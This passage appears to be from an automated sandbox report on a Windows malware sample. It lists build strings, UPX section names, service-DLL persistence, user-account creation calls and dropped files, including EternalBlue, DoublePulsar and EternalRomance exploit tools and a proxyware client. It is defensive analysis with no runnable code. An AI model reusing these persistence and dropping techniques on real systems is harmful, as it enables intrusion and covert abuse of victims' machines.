Source:	Binary string: E:\A\_work\582\s\bin\obj\ref\System.Net.Requests\4.0.11.0\System.Net.Requests.pdb source: Hooks.exe, 0000001A.00000002.2174361493.0000000001130000.00000040.00000001.01000000.00000009.sdmp, svchost.exe, 0000001B.00000002.4100759161.0000000010F2E000.00000008.00000001.01000000.0000000A.sdmp
Source:	Binary string: E:\A\_work\582\s\bin\obj\ref\System.Runtime.Extensions\4.1.2.0\System.Runtime.Extensions.pdb source: Hooks.exe, 0000001A.00000002.2174361493.0000000001130000.00000040.00000001.01000000.00000009.sdmp, svchost.exe, 0000001B.00000002.4100759161.0000000010F2E000.00000008.00000001.01000000.0000000A.sdmp
Source:	Binary string: E:\A\_work\1795\s\corefx\bin/obj/Windows_NT.AnyCPU.Release/System.Net.Sockets/netfx\System.Net.Sockets.pdb source: Hooks.exe, 0000001A.00000002.2174361493.0000000001130000.00000040.00000001.01000000.00000009.sdmp, svchost.exe, 0000001B.00000002.4100759161.0000000010F2E000.00000008.00000001.01000000.0000000A.sdmp
Source:	Binary string: /_/artifacts/obj/System.Text.Json/net461-Release/System.Text.Json.pdb source: Hooks.exe, 0000001A.00000002.2174361493.0000000001A28000.00000040.00000001.01000000.00000009.sdmp, svchost.exe, 0000001B.00000002.4100759161.0000000011606000.00000008.00000001.01000000.0000000A.sdmp
Source:	Binary string: E:\A\_work\582\s\bin\obj\ref\System.Collections\4.0.11.0\System.Collections.pdb source: Hooks.exe, 0000001A.00000002.2174361493.0000000001130000.00000040.00000001.01000000.00000009.sdmp, svchost.exe, 0000001B.00000002.4100759161.0000000010F2E000.00000008.00000001.01000000.0000000A.sdmp
Source:	Binary string: /_/artifacts/obj/Microsoft.Bcl.AsyncInterfaces/net461-Release/Microsoft.Bcl.AsyncInterfaces.pdbSHA256X^. source: Hooks.exe, 0000001A.00000002.2174361493.0000000001130000.00000040.00000001.01000000.00000009.sdmp, svchost.exe, 0000001B.00000002.4100759161.0000000010F2E000.00000008.00000001.01000000.0000000A.sdmp
Source:	Binary string: E:\A\_work\582\s\bin\obj\ref\System.Net.WebSockets\4.0.2.0\System.Net.WebSockets.pdb source: Hooks.exe, 0000001A.00000002.2174361493.0000000001130000.00000040.00000001.01000000.00000009.sdmp, svchost.exe, 0000001B.00000002.4100759161.0000000010F2E000.00000008.00000001.01000000.0000000A.sdmp
Source:	Binary string: C:\DLL\Dll\Release\Dll.pdb source: MpMgSvc.exe, 00000015.00000002.4094624711.000000000060A000.00000040.00000001.01000000.00000008.sdmp
Source:	Binary string: E:\A\_work\1795\s\corefx\bin/obj/AnyOS.AnyCPU.Release/System.Diagnostics.StackTrace/netfx\System.Diagnostics.StackTrace.pdb$.>. 0._CorDllMainmscoree.dll source: Hooks.exe, 0000001A.00000002.2174361493.0000000001130000.00000040.00000001.01000000.00000009.sdmp, svchost.exe, 0000001B.00000002.4100759161.0000000010F2E000.00000008.00000001.01000000.0000000A.sdmp
Source:	Binary string: E:\A\_work\582\s\bin\obj\ref\System.Runtime.Serialization.Json\4.0.1.0\System.Runtime.Serialization.Json.pdb source: Hooks.exe, 0000001A.00000002.2174361493.0000000001130000.00000040.00000001.01000000.00000009.sdmp, svchost.exe, 0000001B.00000002.4100759161.0000000010F2E000.00000008.00000001.01000000.0000000A.sdmp
Source:	Binary string: E:\A\_work\582\s\bin\obj\ref\System.IO.MemoryMappedFiles\4.0.2.0\System.IO.MemoryMappedFiles.pdb source: Hooks.exe, 0000001A.00000002.2174361493.0000000001130000.00000040.00000001.01000000.00000009.sdmp, svchost.exe, 0000001B.00000002.4100759161.0000000010F2E000.00000008.00000001.01000000.0000000A.sdmp
Source:	Binary string: E:\A\_work\582\s\bin\obj\ref\System.Net.Primitives\4.0.11.0\System.Net.Primitives.pdb source: Hooks.exe, 0000001A.00000002.2174361493.0000000001130000.00000040.00000001.01000000.00000009.sdmp, svchost.exe, 0000001B.00000002.4100759161.0000000010F2E000.00000008.00000001.01000000.0000000A.sdmp
Source:	Binary string: E:\A\_work\582\s\bin\obj\ref\System.Globalization.Calendars\4.0.3.0\System.Globalization.Calendars.pdb source: Hooks.exe, 0000001A.00000002.2174361493.0000000001130000.00000040.00000001.01000000.00000009.sdmp, svchost.exe, 0000001B.00000002.4100759161.0000000010F2E000.00000008.00000001.01000000.0000000A.sdmp
Source:	Binary string: E:\A\_work\582\s\bin\obj\ref\System.IO.FileSystem.Watcher\4.0.2.0\System.IO.FileSystem.Watcher.pdb source: Hooks.exe, 0000001A.00000002.2174361493.0000000001130000.00000040.00000001.01000000.00000009.sdmp, svchost.exe, 0000001B.00000002.4100759161.0000000010F2E000.00000008.00000001.01000000.0000000A.sdmp

Source: C:\Users\user\Desktop\exe1.bin.bak.exe

Code function: 0_2_0041F2E0 GetModuleHandleA,LoadLibraryA,GetProcAddress,74B6E3D0,74B6E3D0,FreeLibrary,

0_2_0041F2E0

Source: exe1.bin.bak.exe	Static PE information: section name: UPX2
Source: RunDllExe.dll.0.dr	Static PE information: section name: _RDATA
Source: x64.dll.21.dr	Static PE information: section name: _RDATA

Source: C:\Users\user\Desktop\exe1.bin.bak.exe	Code function: 0_2_00428018 pushfd ; retf	0_2_00428019
Source: C:\Users\user\Desktop\exe1.bin.bak.exe	Code function: 0_2_0043A44D push ecx; retf 003Fh	0_2_0043A4AD
Source: C:\Users\user\Desktop\exe1.bin.bak.exe	Code function: 0_2_004289D6 push es; retn 0000h	0_2_004289DE
Source: C:\Users\user\Desktop\exe1.bin.bak.exe	Code function: 0_2_00413A50 push eax; ret	0_2_00413A7E
Source: C:\Users\user\Desktop\exe1.bin.bak.exe	Code function: 0_2_00413AC4 push eax; ret	0_2_00413AE2
Source: C:\Users\user\Desktop\exe1.bin.bak.exe	Code function: 0_2_00443B7F push eax; ret	0_2_00443BAD
Source: C:\Users\user\Desktop\exe1.bin.bak.exe	Code function: 0_2_0045FE20 push eax; ret	0_2_0045FE4E
Source: C:\Windows\Temp\MpMgSvc.exe	Code function: 21_2_00484650 push eax; ret	21_2_0048467E
Source: C:\Windows\Temp\MpMgSvc.exe	Code function: 21_2_00486614 push eax; ret	21_2_00486632
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 27_2_1001BC90 push eax; ret	27_2_1001BCBE
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 29_2_0041B87C push eax; ret	29_2_0041B89A
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 29_2_0041F436 push ebx; ret	29_2_0041F437
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 29_2_0042089C push ebp; retf	29_2_00420A5C
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 29_2_004149D0 push eax; ret	29_2_004149FE
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 29_2_0041F184 push cs; iretd	29_2_0041F25A
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 29_2_00420A58 push ebp; retf	29_2_00420A5C
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 29_2_0041F286 push cs; iretd	29_2_0041F25A
Source: C:\Windows\Temp\Wmicc.exe	Code function: 55_2_0040DBE0 push eax; ret	55_2_0040DC0E
Source: C:\Windows\Temp\Wmicc.exe	Code function: 55_2_0040D638 push eax; ret	55_2_0040D656
Source: C:\Windows\Microsoft.NET\traffmonetizer\Traffmonetizer.exe	Code function: 61_2_00007FFD9B898167 push ebx; ret	61_2_00007FFD9B89816A
Source: C:\Windows\Microsoft.NET\traffmonetizer\Traffmonetizer.exe	Code function: 61_2_00007FFD9B897963 push ebx; retf	61_2_00007FFD9B89796A
Source: C:\Windows\Microsoft.NET\traffmonetizer\Traffmonetizer.exe	Code function: 61_2_00007FFD9B8B19AB push es; retn 6002h	61_2_00007FFD9B8B19B5
Source: C:\Windows\Microsoft.NET\traffmonetizer\Traffmonetizer.exe	Code function: 61_2_00007FFD9B8A6F2E push E8D08B48h; iretd	61_2_00007FFD9B8A6F39
Source: C:\Windows\Microsoft.NET\traffmonetizer\Traffmonetizer.exe	Code function: 61_2_00007FFD9BAD57D1 push ss; retf	61_2_00007FFD9BAD5977
Source: C:\Windows\Microsoft.NET\traffmonetizer\Traffmonetizer.exe	Code function: 61_2_00007FFD9BAD593C push ss; retf	61_2_00007FFD9BAD5977

Source: initial sample	Static PE information: section name: UPX0
Source: initial sample	Static PE information: section name: UPX1

Persistence and Installation Behavior

Creates a Windows Service pointing to an executable in C:\Windows

Source: C:\Windows\Temp\Hooks.exe

Key value created or modified: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\GraphicsPerfSvcs\Parameters ServiceDll C:\Windows\system32\config\systemprofile\AppData\Roaming\GraphicsPerfSvcs.dll

Creates files in the system32 config directory

Source: C:\Windows\SysWOW64\svchost.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Roaming\traffmonetizer
Source: C:\Windows\SysWOW64\svchost.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Roaming\traffmonetizer\settings.json
Source: C:\Windows\Microsoft.NET\traffmonetizer\Traffmonetizer.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Roaming\traffmonetizer\pid
Source: C:\Windows\Microsoft.NET\traffmonetizer\Traffmonetizer.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Roaming\traffmonetizer\storage.json

Drops executables to the windows directory (C:\Windows) and starts them

Source: C:\Windows\Temp\MpMgSvc.exe	Executable created and started: C:\Windows\Temp\Wmicc.exe	Jump to behavior
Source: C:\Windows\SysWOW64\svchost.exe	Executable created and started: C:\Windows\Microsoft.NET\traffmonetizer\Traffmonetizer.exe
Source: C:\Windows\SysWOW64\svchost.exe	Executable created and started: C:\Windows\Microsoft.NET\Meson.exe
Source: C:\Windows\SysWOW64\svchost.exe	Executable created and started: C:\Windows\Microsoft.NET\ctfmoon.exe

Source: C:\Windows\SysWOW64\svchost.exe

Code function: 29_2_00410C30 lstrlenA,lstrlenA,lstrlenA,lstrlenA,NetUserAdd,wcscpy,NetLocalGroupAddMembers,LocalFree,

29_2_00410C30

Source: C:\Windows\SysWOW64\svchost.exe	File created: C:\Windows\Microsoft.NET\traffmonetizer\System.Net.WebSockets.Client.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\svchost.exe	File created: C:\Windows\Microsoft.NET\traffmonetizer\System.Resources.Writer.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\svchost.exe	File created: C:\Windows\Microsoft.NET\traffmonetizer\System.Runtime.CompilerServices.Unsafe.dll	Jump to dropped file
Source: C:\Windows\Temp\MpMgSvc.exe	File created: C:\Windows\Temp\Wmicc.exe	Jump to dropped file
Source: C:\Windows\SysWOW64\svchost.exe	File created: C:\Windows\Microsoft.NET\traffmonetizer\System.Xml.ReaderWriter.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\svchost.exe	File created: C:\Windows\Microsoft.NET\traffmonetizer\Microsoft.Bcl.AsyncInterfaces.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\svchost.exe	File created: C:\Windows\Microsoft.NET\traffmonetizer\System.Dynamic.Runtime.dll	Jump to dropped file
Source: C:\Windows\Temp\MpMgSvc.exe	File created: C:\Windows\Temp\libeay32.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\svchost.exe	File created: C:\Windows\Microsoft.NET\traffmonetizer\System.Numerics.Vectors.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\svchost.exe	File created: C:\Windows\Microsoft.NET\traffmonetizer\Microsoft.Diagnostics.Runtime.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\svchost.exe	File created: C:\Windows\Microsoft.NET\traffmonetizer\System.Runtime.Serialization.Primitives.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\svchost.exe	File created: C:\Windows\Microsoft.NET\traffmonetizer\System.Data.Common.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\svchost.exe	File created: C:\Windows\Temp\ctfmoon.exe	Jump to dropped file
Source: C:\Windows\SysWOW64\svchost.exe	File created: C:\Windows\Microsoft.NET\traffmonetizer\System.Linq.Expressions.dll	Jump to dropped file
Source: C:\Windows\Temp\MpMgSvc.exe	File created: C:\Windows\Temp\dmgd-4.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\svchost.exe	File created: C:\Windows\Microsoft.NET\traffmonetizer\System.ValueTuple.dll	Jump to dropped file
Source: C:\Windows\Temp\MpMgSvc.exe	File created: C:\Windows\Temp\ucl.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\svchost.exe	File created: C:\Windows\Microsoft.NET\traffmonetizer\System.ComponentModel.EventBasedAsync.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\svchost.exe	File created: C:\Windows\Microsoft.NET\traffmonetizer\System.Net.WebSockets.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\svchost.exe	File created: C:\Windows\Microsoft.NET\traffmonetizer\System.Threading.Tasks.Parallel.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\svchost.exe	File created: C:\Windows\Microsoft.NET\traffmonetizer\System.Security.Cryptography.Csp.dll	Jump to dropped file
Source: C:\Windows\Temp\MpMgSvc.exe	File created: C:\Windows\Temp\xdvl-0.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\svchost.exe	File created: C:\Windows\Microsoft.NET\traffmonetizer\System.Runtime.CompilerServices.VisualC.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\svchost.exe	File created: C:\Windows\Microsoft.NET\traffmonetizer\System.Runtime.Handles.dll	Jump to dropped file
Source: C:\Windows\Temp\MpMgSvc.exe	File created: C:\Windows\Temp\Eternalblue-2.2.0.exe	Jump to dropped file
Source: C:\Windows\Temp\MpMgSvc.exe	File created: C:\Windows\Temp\trfo-2.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\svchost.exe	File created: C:\Windows\Microsoft.NET\traffmonetizer\System.IO.Compression.ZipFile.dll	Jump to dropped file
Source: C:\Windows\Temp\Hooks.exe	File created: C:\Windows\SysWOW64\config\systemprofile\AppData\Roaming\GraphicsPerfSvcs.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\svchost.exe	File created: C:\Windows\Microsoft.NET\traffmonetizer\System.Reflection.Primitives.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\svchost.exe	File created: C:\Windows\Microsoft.NET\traffmonetizer\System.Security.Cryptography.Algorithms.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\svchost.exe	File created: C:\Windows\Microsoft.NET\traffmonetizer\System.Net.Security.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\svchost.exe	File created: C:\Windows\Microsoft.NET\traffmonetizer\System.Runtime.InteropServices.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\svchost.exe	File created: C:\Windows\Microsoft.NET\traffmonetizer\System.Text.Encoding.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\svchost.exe	File created: C:\Windows\Microsoft.NET\traffmonetizer\System.Console.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\svchost.exe	File created: C:\Windows\Microsoft.NET\traffmonetizer\System.IO.FileSystem.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\svchost.exe	File created: C:\Windows\Microsoft.NET\traffmonetizer\System.ObjectModel.dll	Jump to dropped file
Source: C:\Windows\Temp\MpMgSvc.exe	File created: C:\Windows\Temp\libxml2.dll	Jump to dropped file
Source: C:\Windows\Temp\MpMgSvc.exe	File created: C:\Windows\Temp\posh-0.dll	Jump to dropped file
Source: C:\Windows\Temp\MpMgSvc.exe	File created: C:\Windows\Temp\Doublepulsar-1.3.1.exe	Jump to dropped file
Source: C:\Windows\Temp\MpMgSvc.exe	File created: C:\Windows\Temp\trch-1.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\svchost.exe	File created: C:\Windows\Microsoft.NET\traffmonetizer\System.Net.Ping.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\svchost.exe	File created: C:\Windows\Microsoft.NET\traffmonetizer\System.Xml.XmlDocument.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\svchost.exe	File created: C:\Windows\Microsoft.NET\traffmonetizer\System.Resources.ResourceManager.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\svchost.exe	File created: C:\Windows\Microsoft.NET\traffmonetizer\System.Globalization.Extensions.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\svchost.exe	File created: C:\Windows\Microsoft.NET\traffmonetizer\System.Collections.Concurrent.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\svchost.exe	File created: C:\Windows\Microsoft.NET\traffmonetizer\System.Linq.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\svchost.exe	File created: C:\Windows\Microsoft.NET\traffmonetizer\System.Diagnostics.Contracts.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\svchost.exe	File created: C:\Windows\Microsoft.NET\traffmonetizer\System.Net.NetworkInformation.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\svchost.exe	File created: C:\Windows\Microsoft.NET\traffmonetizer\System.Collections.Specialized.dll	Jump to dropped file
Source: C:\Windows\Temp\MpMgSvc.exe	File created: C:\Windows\Temp\x64.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\svchost.exe	File created: C:\Windows\Microsoft.NET\traffmonetizer\System.Text.RegularExpressions.dll	Jump to dropped file
Source: C:\Windows\Temp\MpMgSvc.exe	File created: C:\Windows\Temp\tucl-1.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\svchost.exe	File created: C:\Windows\Microsoft.NET\traffmonetizer\System.Net.Sockets.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\svchost.exe	File created: C:\Windows\Microsoft.NET\traffmonetizer\System.Threading.ThreadPool.dll	Jump to dropped file
Source: C:\Windows\Temp\MpMgSvc.exe	File created: C:\Windows\Temp\crli-0.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\svchost.exe	File created: C:\Windows\Microsoft.NET\traffmonetizer\System.Runtime.Serialization.Xml.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\svchost.exe	File created: C:\Windows\Microsoft.NET\traffmonetizer\System.IO.IsolatedStorage.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\svchost.exe	File created: C:\Windows\Microsoft.NET\traffmonetizer\System.Net.Requests.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\svchost.exe	File created: C:\Windows\Microsoft.NET\traffmonetizer\System.IO.Pipes.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\svchost.exe	File created: C:\Windows\Microsoft.NET\traffmonetizer\System.Net.Http.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\svchost.exe	File created: C:\Windows\Microsoft.NET\traffmonetizer\System.Collections.NonGeneric.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\svchost.exe	File created: C:\Windows\Microsoft.NET\traffmonetizer\System.Security.Cryptography.X509Certificates.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\svchost.exe	File created: C:\Windows\Microsoft.NET\traffmonetizer\System.Threading.Timer.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\svchost.exe	File created: C:\Windows\Microsoft.NET\traffmonetizer\System.Threading.Thread.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\svchost.exe	File created: C:\Windows\Microsoft.NET\traffmonetizer\System.Diagnostics.Debug.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\svchost.exe	File created: C:\Windows\Microsoft.NET\traffmonetizer\System.Diagnostics.StackTrace.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\svchost.exe	File created: C:\Windows\Microsoft.NET\traffmonetizer\System.Threading.Tasks.Extensions.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\svchost.exe	File created: C:\Windows\Microsoft.NET\traffmonetizer\System.Net.NameResolution.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\svchost.exe	File created: C:\Windows\Microsoft.NET\traffmonetizer\Traffmonetizer.exe	Jump to dropped file
Source: C:\Windows\SysWOW64\svchost.exe	File created: C:\Windows\Microsoft.NET\traffmonetizer\System.Net.Primitives.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\svchost.exe	File created: C:\Windows\Microsoft.NET\traffmonetizer\System.Diagnostics.TextWriterTraceListener.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\svchost.exe	File created: C:\Windows\Microsoft.NET\traffmonetizer\System.Drawing.Primitives.dll	Jump to dropped file
Source: C:\Windows\Temp\MpMgSvc.exe	File created: C:\Windows\Temp\coli-0.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\svchost.exe	File created: C:\Windows\Microsoft.NET\traffmonetizer\System.Runtime.InteropServices.RuntimeInformation.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\svchost.exe	File created: C:\Windows\Microsoft.NET\traffmonetizer\System.Reflection.Extensions.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\svchost.exe	File created: C:\Windows\Microsoft.NET\traffmonetizer\System.Collections.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\svchost.exe	File created: C:\Windows\Microsoft.NET\traffmonetizer\System.Threading.Overlapped.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\svchost.exe	File created: C:\Windows\Microsoft.NET\traffmonetizer\System.IO.UnmanagedMemoryStream.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\svchost.exe	File created: C:\Windows\Microsoft.NET\traffmonetizer\System.Memory.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\svchost.exe	File created: C:\Windows\Microsoft.NET\traffmonetizer\System.Security.Claims.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\svchost.exe	File created: C:\Windows\Microsoft.NET\traffmonetizer\System.Linq.Parallel.dll	Jump to dropped file
Source: C:\Windows\Temp\MpMgSvc.exe	File created: C:\Windows\Temp\x86.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\svchost.exe	File created: C:\Windows\Microsoft.NET\traffmonetizer\System.Globalization.Calendars.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\svchost.exe	File created: C:\Windows\Microsoft.NET\traffmonetizer\System.Runtime.dll	Jump to dropped file
Source: C:\Users\user\Desktop\exe1.bin.bak.exe	File created: C:\Windows\Logs\RunDllExe.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\svchost.exe	File created: C:\Windows\Microsoft.NET\traffmonetizer\System.Xml.XPath.XDocument.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\svchost.exe	File created: C:\Windows\Microsoft.NET\traffmonetizer\System.Security.SecureString.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\svchost.exe	File created: C:\Windows\Microsoft.NET\traffmonetizer\System.IO.FileSystem.Primitives.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\svchost.exe	File created: C:\Windows\Microsoft.NET\traffmonetizer\System.Text.Encodings.Web.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\svchost.exe	File created: C:\Windows\Microsoft.NET\traffmonetizer\System.Diagnostics.FileVersionInfo.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\svchost.exe	File created: C:\Windows\Microsoft.NET\traffmonetizer\System.Xml.XDocument.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\svchost.exe	File created: C:\Windows\Microsoft.NET\traffmonetizer\System.ComponentModel.TypeConverter.dll	Jump to dropped file
Source: C:\Windows\Temp\MpMgSvc.exe	File created: C:\Windows\Temp\exma-1.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\svchost.exe	File created: C:\Windows\Microsoft.NET\traffmonetizer\System.Net.WebHeaderCollection.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\svchost.exe	File created: C:\Windows\Microsoft.NET\traffmonetizer\System.Security.Principal.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\svchost.exe	File created: C:\Windows\Microsoft.NET\traffmonetizer\System.Resources.Reader.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\svchost.exe	File created: C:\Windows\Microsoft.NET\traffmonetizer\System.Xml.XPath.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\svchost.exe	File created: C:\Windows\Microsoft.NET\traffmonetizer\System.ComponentModel.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\svchost.exe	File created: C:\Windows\Microsoft.NET\traffmonetizer\System.Reflection.dll	Jump to dropped file
Source: C:\Windows\Temp\MpMgSvc.exe	File created: C:\Windows\Temp\Eternalromance-1.4.0.exe	Jump to dropped file
Source: C:\Windows\SysWOW64\svchost.exe	File created: C:\Windows\Microsoft.NET\Meson.exe	Jump to dropped file
Source: C:\Windows\SysWOW64\svchost.exe	File created: C:\Windows\Microsoft.NET\traffmonetizer\System.Threading.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\svchost.exe	File created: C:\Windows\Microsoft.NET\traffmonetizer\netstandard.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\svchost.exe	File created: C:\Windows\Microsoft.NET\traffmonetizer\System.IO.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\svchost.exe	File created: C:\Windows\Microsoft.NET\traffmonetizer\System.Diagnostics.TraceSource.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\svchost.exe	File created: C:\Windows\Microsoft.NET\traffmonetizer\System.Text.Encoding.Extensions.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\svchost.exe	File created: C:\Windows\Microsoft.NET\traffmonetizer\System.Collections.Immutable.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\svchost.exe	File created: C:\Windows\Microsoft.NET\traffmonetizer\Microsoft.Win32.Primitives.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\svchost.exe	File created: C:\Windows\Microsoft.NET\traffmonetizer\Base.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\svchost.exe	File created: C:\Windows\Microsoft.NET\traffmonetizer\System.Linq.Queryable.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\svchost.exe	File created: C:\Windows\Microsoft.NET\traffmonetizer\System.Runtime.Numerics.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\svchost.exe	File created: C:\Windows\Microsoft.NET\traffmonetizer\System.Security.Cryptography.Encoding.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\svchost.exe	File created: C:\Windows\Microsoft.NET\traffmonetizer\System.Runtime.Serialization.Formatters.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\svchost.exe	File created: C:\Windows\Microsoft.NET\traffmonetizer\System.Runtime.Serialization.Json.dll	Jump to dropped file
Source: C:\Windows\Temp\MpMgSvc.exe	File created: C:\Windows\Temp\tibe-2.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\svchost.exe	File created: C:\Windows\Microsoft.NET\traffmonetizer\System.Diagnostics.Tracing.dll	Jump to dropped file
Source: C:\Windows\Temp\MpMgSvc.exe	File created: C:\Windows\Temp\cnli-1.dll	Jump to dropped file
Source: C:\Windows\Temp\MpMgSvc.exe	File created: C:\Windows\Temp\zlib1.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\svchost.exe	File created: C:\Windows\Microsoft.NET\traffmonetizer\System.Runtime.Extensions.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\svchost.exe	File created: C:\Windows\Microsoft.NET\traffmonetizer\System.ComponentModel.Primitives.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\svchost.exe	File created: C:\Windows\Microsoft.NET\traffmonetizer\System.Globalization.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\svchost.exe	File created: C:\Windows\Microsoft.NET\traffmonetizer\System.IO.FileSystem.Watcher.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\svchost.exe	File created: C:\Windows\Microsoft.NET\traffmonetizer\Microsoft.Diagnostics.NETCore.Client.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\svchost.exe	File created: C:\Windows\Microsoft.NET\traffmonetizer\System.IO.MemoryMappedFiles.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\svchost.exe	File created: C:\Windows\Microsoft.NET\traffmonetizer\System.IO.Compression.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\svchost.exe	File created: C:\Windows\Microsoft.NET\traffmonetizer\System.Diagnostics.Tools.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\svchost.exe	File created: C:\Windows\Microsoft.NET\traffmonetizer\System.IO.FileSystem.DriveInfo.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\svchost.exe	File created: C:\Windows\Microsoft.NET\traffmonetizer\System.Text.Json.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\svchost.exe	File created: C:\Windows\Microsoft.NET\traffmonetizer\System.Buffers.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\svchost.exe	File created: C:\Windows\Microsoft.NET\ctfmoon.exe	Jump to dropped file
Source: C:\Windows\Temp\MpMgSvc.exe	File created: C:\Windows\Temp\ssleay32.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\svchost.exe	File created: C:\Windows\Microsoft.NET\traffmonetizer\System.Xml.XmlSerializer.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\svchost.exe	File created: C:\Windows\Microsoft.NET\traffmonetizer\System.Security.Cryptography.Primitives.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\svchost.exe	File created: C:\Windows\Microsoft.NET\traffmonetizer\System.Threading.Tasks.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\svchost.exe	File created: C:\Windows\Microsoft.NET\traffmonetizer\System.AppContext.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\svchost.exe	File created: C:\Windows\Microsoft.NET\traffmonetizer\System.Reflection.Metadata.dll	Jump to dropped file

Source: C:\Windows\SysWOW64\svchost.exe	File created: C:\Windows\Microsoft.NET\traffmonetizer\System.Net.WebSockets.Client.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\svchost.exe	File created: C:\Windows\Microsoft.NET\traffmonetizer\System.Resources.Writer.dll	Jump to dropped file
